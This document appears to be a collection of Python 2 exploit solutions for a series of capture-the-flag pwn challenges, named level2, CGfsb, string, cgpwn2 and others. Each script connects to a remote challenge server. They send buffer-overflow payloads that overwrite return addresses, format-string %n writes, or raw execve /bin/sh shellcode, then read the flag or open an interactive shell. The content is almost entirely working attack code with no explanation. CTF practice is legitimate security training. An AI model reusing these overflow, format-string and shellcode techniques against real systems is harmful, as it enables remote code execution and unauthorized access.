level2

import socket from socket import AF_INET,SOCK_STREAM import struct import time connection = socket.socket(AF_INET,SOCK_STREAM,0) connection.connect(('111.198.29.45',57758)) payload = 'a'*0x88+'a'*0x4+"\x20\x83\x04\x08"+"a"*0x4+"\x24\xa0\x04\x08" connection.recv(1024) time.sleep(1) connection.send(payload + b"\n") connection.send("cat flag" + b"\n") print str(connection.recv(1000))

get_shell
import socket,struct,telnetlib s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) s.connect(('111.198.29.45',55655)) t = telnetlib.Telnet() t.sock = s t.interact()

CGfsb
import socket,telnetlib,struct s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) s.connect(("111.198.29.45",39690)) def p(x): return struct.pack("<L",x) pwnme = 0x0804A068 payload1 = 'aaaa' payload2 = (p(pwnme) + 'a'*4 + '%10$n') s.recv(1024) s.send(payload1+b"\n") s.recv(1024) s.send(payload2+b"\n") t=telnetlib.Telnet() t.sock=s t.interact()

hello_pwn
import struct import socket import telnetlib def p(x): return struct.pack("<L", x) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("111.198.29.45",40091)) payload="A"*0x4+p(1853186401) s.recv(1024) s.send(payload+b"\n") t = telnetlib.Telnet() t.sock = s t.interact()

string
import socket,telnetlib,struct,time s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) s.connect(('111.198.29.45',38765)) def recv_until(val): buffer = '' while True: buffer += s.recv(1) if buffer.endswith(val): break return buffer a=recv_until("secret[0] is ") v3_0_addr = int(recv_until("\n")[:-1],16) s.recv(1024) s.send("kk"+b"\n") s.recv(1024) s.send("east"+b"\n") s.recv(1024) s.send("1"+b"\n") s.recv(1024) s.send(str(v3_0_addr)+b"\n") s.recv(1024) s.send("%85c%7$n"+b"\n") shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" s.recv(1024) s.send(shellcode+b"\n") s.recv(1024) s.send("cat flag"+b"\n") t=telnetlib.Telnet() t.sock=s t.interact()

level0
import struct import socket import telnetlib def p(x): return struct.pack("<Q", x) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM,0) s.connect(("111.198.29.45",37314)) payload="a"*0x88+p(0x400596) s.recv(1024) s.send(payload+b"\n") t = telnetlib.Telnet() t.sock = s t.interact() s.close()

cgpwn2
import struct,socket,telnetlib s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) s.connect(("111.198.29.45",32291)) def p(x): return struct.pack("<L",x) code="/bin/sh" s.recv(1024) s.send(code+b"\n") payload1="a"*0x26+"a"*0x4+p(0x0804855A)+p(0x0804A080) s.recv(1024) s.send(payload1+b"\n") t=telnetlib.Telnet() t.sock=s t.interact()